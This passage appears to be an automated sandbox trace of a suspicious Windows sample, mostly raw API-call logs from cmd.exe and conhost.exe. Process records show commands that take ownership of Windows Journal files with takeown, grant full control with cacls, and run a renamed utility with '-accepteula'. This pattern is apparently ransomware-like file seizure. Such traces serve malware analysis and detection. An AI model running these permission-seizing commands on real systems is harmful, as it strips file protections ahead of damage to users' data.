| out: hHeap=0x450000) returned 1 [0085.981] GetProcessHeap () returned 0x450000 [0085.981] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4667c8 | out: hHeap=0x450000) returned 1 [0085.981] GetProcessHeap () returned 0x450000 [0085.981] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4666a0 | out: hHeap=0x450000) returned 1 [0085.981] GetProcessHeap () returned 0x450000 [0085.981] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x466628 | out: hHeap=0x450000) returned 1 [0085.981] GetProcessHeap () returned 0x450000 [0085.981] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4665a0 | out: hHeap=0x450000) returned 1 [0085.981] GetProcessHeap () returned 0x450000 [0085.981] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x466388 | out: hHeap=0x450000) returned 1 [0085.981] GetProcessHeap () returned 0x450000 [0085.981] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x474af0 | out: hHeap=0x450000) returned 1 [0085.981] GetProcessHeap () returned 0x450000 [0085.981] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x474aa8 | out: hHeap=0x450000) returned 1 [0085.982] GetProcessHeap () returned 0x450000 [0085.982] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x450d68 | out: hHeap=0x450000) returned 1 [0085.982] GetProcessHeap () returned 0x450000 [0085.982] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4662c0 | out: hHeap=0x450000) returned 1 [0085.982] GetProcessHeap () returned 0x450000 [0085.982] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x450d80 | out: hHeap=0x450000) returned 1 [0085.982] GetProcessHeap () returned 0x450000 [0085.982] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x466288 | out: hHeap=0x450000) returned 1 [0085.982] GetProcessHeap () returned 0x450000 [0085.982] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x466228 | out: hHeap=0x450000) returned 1 [0085.982] GetProcessHeap () returned 0x450000 [0085.982] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x451248 | out: hHeap=0x450000) returned 1 [0085.982] GetProcessHeap () returned 0x450000 [0085.982] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4661c8 | out: hHeap=0x450000) returned 1 [0085.982] GetProcessHeap () returned 0x450000 [0085.982] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x466168 | out: hHeap=0x450000) returned 1 [0085.982] GetProcessHeap () returned 0x450000 [0085.982] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4660f0 | out: hHeap=0x450000) returned 1 [0085.982] GetProcessHeap () returned 0x450000 [0085.982] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4511f0 | out: hHeap=0x450000) returned 1 [0085.982] GetProcessHeap () returned 0x450000 [0085.982] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4512a0 | out: hHeap=0x450000) returned 1 [0085.982] GetProcessHeap () returned 0x450000 [0085.982] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4511a0 | out: hHeap=0x450000) returned 1 [0085.982] GetProcessHeap () returned 0x450000 [0085.982] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x451140 | out: hHeap=0x450000) returned 1 [0085.982] _get_osfhandle (_FileHandle=3) returned 0x74 [0085.982] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0085.982] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x18f0b0, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x18f0b0*=0x0, lpOverlapped=0x0) returned 1 [0085.982] GetLastError () returned 0x0 [0085.982] _get_osfhandle (_FileHandle=3) returned 0x74 [0085.982] GetFileType (hFile=0x74) returned 0x1 [0085.983] _get_osfhandle (_FileHandle=3) returned 0x74 [0085.983] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0085.983] GetProcessHeap () returned 0x450000 [0085.983] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x400a) returned 0x474aa8 [0085.983] GetProcessHeap () returned 0x450000 [0085.983] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x474aa8 | out: hHeap=0x450000) returned 1 [0085.983] _get_osfhandle (_FileHandle=3) returned 0x74 [0085.983] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0085.983] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x18f094, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x18f094*=0x0, lpOverlapped=0x0) returned 1 [0085.983] GetLastError () returned 0x0 [0085.983] _get_osfhandle (_FileHandle=3) returned 0x74 [0085.983] GetFileType (hFile=0x74) returned 0x1 [0085.983] _get_osfhandle (_FileHandle=3) returned 0x74 [0085.983] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0085.983] GetProcessHeap () returned 0x450000 [0085.983] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x400a) returned 0x474aa8 [0085.983] GetProcessHeap () returned 0x450000 [0085.983] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x474aa8 | out: hHeap=0x450000) returned 1 [0085.983] longjmp () [0085.983] _tell (_FileHandle=3) returned 226 [0085.983] _close (_FileHandle=3) returned 0 [0085.983] CmdBatNotification () returned 0x0 [0085.983] _get_osfhandle (_FileHandle=1) returned 0x7 [0085.983] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0085.984] _get_osfhandle (_FileHandle=1) returned 0x7 [0085.984] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0085.984] _get_osfhandle (_FileHandle=0) returned 0x3 [0085.984] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0085.984] SetConsoleInputExeNameW () returned 0x1 [0085.984] GetConsoleOutputCP () returned 0x1b5 [0085.985] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0085.985] SetThreadUILanguage (LangId=0x0) returned 0x409 [0085.985] exit (_Code=0) Process: id = "132" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x14c95000" os_pid = "0x6c8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "32" os_parent_pid = "0x184" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 665 os_tid = 0x8bc Thread: id = 670 os_tid = 0xba4 Thread: id = 671 os_tid = 0xadc Process: id = "133" image_name = "takeown.exe" filename = "c:\\windows\\syswow64\\takeown.exe" page_root = "0x14105000" os_pid = "0xb50" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "24" os_parent_pid = "0x594" cmd_line = "takeown /F \"C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 672 os_tid = 0x8bc Thread: id = 675 os_tid = 0xc0c Process: id = "134" image_name = "cacls.exe" filename = "c:\\windows\\syswow64\\cacls.exe" page_root = "0x55b0d000" os_pid = "0x6f8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "131" os_parent_pid = "0x5dc" cmd_line = "cacls \"C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\" /E /G 5p5NrGJn0jS HALPmcxz:F /C" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 673 os_tid = 0xc04 Process: id = "135" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x4830d000" os_pid = "0xc18" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "24" os_parent_pid = "0x594" cmd_line = "C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"JNTFiltr.dll.mui\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 678 os_tid = 0xc1c [0071.025] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3efef4 | out: lpSystemTimeAsFileTime=0x3efef4*(dwLowDateTime=0xcfb082e0, dwHighDateTime=0x1d5d06a)) [0071.025] GetCurrentProcessId () returned 0xc18 [0071.025] GetCurrentThreadId () returned 0xc1c [0071.025] GetTickCount () returned 0x115a6da [0071.025] QueryPerformanceCounter (in: lpPerformanceCount=0x3efeec | out: lpPerformanceCount=0x3efeec*=21297706367) returned 1 [0071.025] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab20000 [0071.025] __set_app_type (_Type=0x1) [0071.025] __p__fmode () returned 0x76be31f4 [0071.026] __p__commode () returned 0x76be31fc [0071.026] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab421a6) returned 0x0 [0071.026] __getmainargs (in: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c, _DoWildCard=0, _StartInfo=0x4ab44140 | out: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c) returned 0 [0071.026] GetCurrentThreadId () returned 0xc1c [0071.026] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xc1c) returned 0x60 [0071.026] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0071.026] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0071.026] SetThreadUILanguage (LangId=0x0) returned 0x409 [0071.027] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0071.027] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x3efe84 | out: phkResult=0x3efe84*=0x0) returned 0x2 [0071.027] VirtualQuery (in: lpAddress=0x3efebb, lpBuffer=0x3efe54, dwLength=0x1c | out: lpBuffer=0x3efe54*(BaseAddress=0x3ef000, AllocationBase=0x2f0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0071.027] VirtualQuery (in: lpAddress=0x2f0000, lpBuffer=0x3efe54, dwLength=0x1c | out: lpBuffer=0x3efe54*(BaseAddress=0x2f0000, AllocationBase=0x2f0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0071.027] VirtualQuery (in: lpAddress=0x2f1000, lpBuffer=0x3efe54, dwLength=0x1c | out: lpBuffer=0x3efe54*(BaseAddress=0x2f1000, AllocationBase=0x2f0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0071.027] VirtualQuery (in: lpAddress=0x2f3000, lpBuffer=0x3efe54, dwLength=0x1c | out: lpBuffer=0x3efe54*(BaseAddress=0x2f3000, AllocationBase=0x2f0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0071.027] VirtualQuery (in: lpAddress=0x3f0000, lpBuffer=0x3efe54, dwLength=0x1c | out: lpBuffer=0x3efe54*(BaseAddress=0x3f0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x140000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0071.027] GetConsoleOutputCP () returned 0x1b5 [0071.027] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0071.027] SetConsoleCtrlHandler (HandlerRoutine=0x4ab3e72a, Add=1) returned 1 [0071.027] _get_osfhandle (_FileHandle=1) returned 0x80 [0071.028] SetConsoleMode (hConsoleHandle=0x80, dwMode=0x0) returned 0 [0071.028] _get_osfhandle (_FileHandle=1) returned 0x80 [0071.028] GetConsoleMode (in: hConsoleHandle=0x80, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 0 [0071.028] _get_osfhandle (_FileHandle=0) returned 0x3 [0071.028] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0071.028] GetEnvironmentStringsW () returned 0x702200* [0071.028] GetProcessHeap () returned 0x6f0000 [0071.028] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0xb88) returned 0x702d90 [0071.029] FreeEnvironmentStringsW (penv=0x702200) returned 1 [0071.029] GetProcessHeap () returned 0x6f0000 [0071.029] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x4) returned 0x7018e0 [0071.029] GetEnvironmentStringsW () returned 0x702200* [0071.029] GetProcessHeap () returned 0x6f0000 [0071.029] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0xb88) returned 0x703920 [0071.029] FreeEnvironmentStringsW (penv=0x702200) returned 1 [0071.029] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3eedf4 | out: phkResult=0x3eedf4*=0x68) returned 0x0 [0071.029] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3eedfc, lpData=0x3eee00, lpcbData=0x3eedf8*=0x1000 | out: lpType=0x3eedfc*=0x0, lpData=0x3eee00*=0x0, lpcbData=0x3eedf8*=0x1000) returned 0x2 [0071.029] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3eedfc, lpData=0x3eee00, lpcbData=0x3eedf8*=0x1000 | out: lpType=0x3eedfc*=0x4, lpData=0x3eee00*=0x1, lpcbData=0x3eedf8*=0x4) returned 0x0 [0071.029] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3eedfc, lpData=0x3eee00, lpcbData=0x3eedf8*=0x1000 | out: lpType=0x3eedfc*=0x0, lpData=0x3eee00*=0x1, lpcbData=0x3eedf8*=0x1000) returned 0x2 [0071.029] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3eedfc, lpData=0x3eee00, lpcbData=0x3eedf8*=0x1000 | out: lpType=0x3eedfc*=0x4, lpData=0x3eee00*=0x0, lpcbData=0x3eedf8*=0x4) returned 0x0 [0071.029] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3eedfc, lpData=0x3eee00, lpcbData=0x3eedf8*=0x1000 | out: lpType=0x3eedfc*=0x4, lpData=0x3eee00*=0x40, lpcbData=0x3eedf8*=0x4) returned 0x0 [0071.029] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3eedfc, lpData=0x3eee00, lpcbData=0x3eedf8*=0x1000 | out: lpType=0x3eedfc*=0x4, lpData=0x3eee00*=0x40, lpcbData=0x3eedf8*=0x4) returned 0x0 [0071.029] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3eedfc, lpData=0x3eee00, lpcbData=0x3eedf8*=0x1000 | out: lpType=0x3eedfc*=0x0, lpData=0x3eee00*=0x40, lpcbData=0x3eedf8*=0x1000) returned 0x2 [0071.029] RegCloseKey (hKey=0x68) returned 0x0 [0071.030] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3eedf4 | out: phkResult=0x3eedf4*=0x68) returned 0x0 [0071.030] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3eedfc, lpData=0x3eee00, lpcbData=0x3eedf8*=0x1000 | out: lpType=0x3eedfc*=0x0, lpData=0x3eee00*=0x40, lpcbData=0x3eedf8*=0x1000) returned 0x2 [0071.030] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3eedfc, lpData=0x3eee00, lpcbData=0x3eedf8*=0x1000 | out: lpType=0x3eedfc*=0x4, lpData=0x3eee00*=0x1, lpcbData=0x3eedf8*=0x4) returned 0x0 [0071.030] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3eedfc, lpData=0x3eee00, lpcbData=0x3eedf8*=0x1000 | out: lpType=0x3eedfc*=0x0, lpData=0x3eee00*=0x1, lpcbData=0x3eedf8*=0x1000) returned 0x2 [0071.030] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3eedfc, lpData=0x3eee00, lpcbData=0x3eedf8*=0x1000 | out: lpType=0x3eedfc*=0x4, lpData=0x3eee00*=0x0, lpcbData=0x3eedf8*=0x4) returned 0x0 [0071.030] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3eedfc, lpData=0x3eee00, lpcbData=0x3eedf8*=0x1000 | out: lpType=0x3eedfc*=0x4, lpData=0x3eee00*=0x9, lpcbData=0x3eedf8*=0x4) returned 0x0 [0071.030] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3eedfc, lpData=0x3eee00, lpcbData=0x3eedf8*=0x1000 | out: lpType=0x3eedfc*=0x4, lpData=0x3eee00*=0x9, lpcbData=0x3eedf8*=0x4) returned 0x0 [0071.030] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3eedfc, lpData=0x3eee00, lpcbData=0x3eedf8*=0x1000 | out: lpType=0x3eedfc*=0x0, lpData=0x3eee00*=0x9, lpcbData=0x3eedf8*=0x1000) returned 0x2 [0071.030] RegCloseKey (hKey=0x68) returned 0x0 [0071.030] time (in: timer=0x0 | out: timer=0x0) returned 0x5e2710dc [0071.030] srand (_Seed=0x5e2710dc) [0071.030] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"JNTFiltr.dll.mui\" -nobanner" [0071.030] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"JNTFiltr.dll.mui\" -nobanner" [0071.030] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0071.031] GetProcessHeap () returned 0x6f0000 [0071.031] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x210) returned 0x7044b0 [0071.031] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7044b8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0071.031] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0071.031] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0071.031] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0071.031] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0071.031] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0071.031] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0071.031] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0071.031] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0071.031] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0071.031] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0071.031] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0071.031] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0071.031] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0071.032] GetProcessHeap () returned 0x6f0000 [0071.032] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x54) returned 0x7046c8 [0071.032] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3efbc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0071.032] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x3efbc0, lpFilePart=0x3efbbc | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3efbbc*="Desktop") returned 0x25 [0071.032] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0071.032] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3ef93c | out: lpFindFileData=0x3ef93c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x702080 [0071.032] FindClose (in: hFindFile=0x702080 | out: hFindFile=0x702080) returned 1 [0071.032] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x3ef93c | out: lpFindFileData=0x3ef93c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x702080 [0071.032] FindClose (in: hFindFile=0x702080 | out: hFindFile=0x702080) returned 1 [0071.032] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0071.032] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x3ef93c | out: lpFindFileData=0x3ef93c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x702080 [0071.032] FindClose (in: hFindFile=0x702080 | out: hFindFile=0x702080) returned 1 [0071.032] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0071.032] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0071.033] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0071.033] GetProcessHeap () returned 0x6f0000 [0071.033] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x702d90 | out: hHeap=0x6f0000) returned 1 [0071.033] GetEnvironmentStringsW () returned 0x702200* [0071.033] GetProcessHeap () returned 0x6f0000 [0071.033] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0xb88) returned 0x702d90 [0071.033] FreeEnvironmentStringsW (penv=0x702200) returned 1 [0071.033] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0071.033] GetProcessHeap () returned 0x6f0000 [0071.033] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x7046c8 | out: hHeap=0x6f0000) returned 1 [0071.033] GetProcessHeap () returned 0x6f0000 [0071.033] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x400e) returned 0x704f28 [0071.033] GetProcessHeap () returned 0x6f0000 [0071.033] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x78) returned 0x708f58 [0071.034] GetProcessHeap () returned 0x6f0000 [0071.034] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x704f28 | out: hHeap=0x6f0000) returned 1 [0071.034] GetConsoleOutputCP () returned 0x1b5 [0071.644] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0071.645] GetUserDefaultLCID () returned 0x409 [0071.646] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab44950, cchData=8 | out: lpLCData=":") returned 2 [0071.647] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x3efd00, cchData=128 | out: lpLCData="0") returned 2 [0071.647] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x3efd00, cchData=128 | out: lpLCData="0") returned 2 [0071.647] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x3efd00, cchData=128 | out: lpLCData="1") returned 2 [0071.647] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, 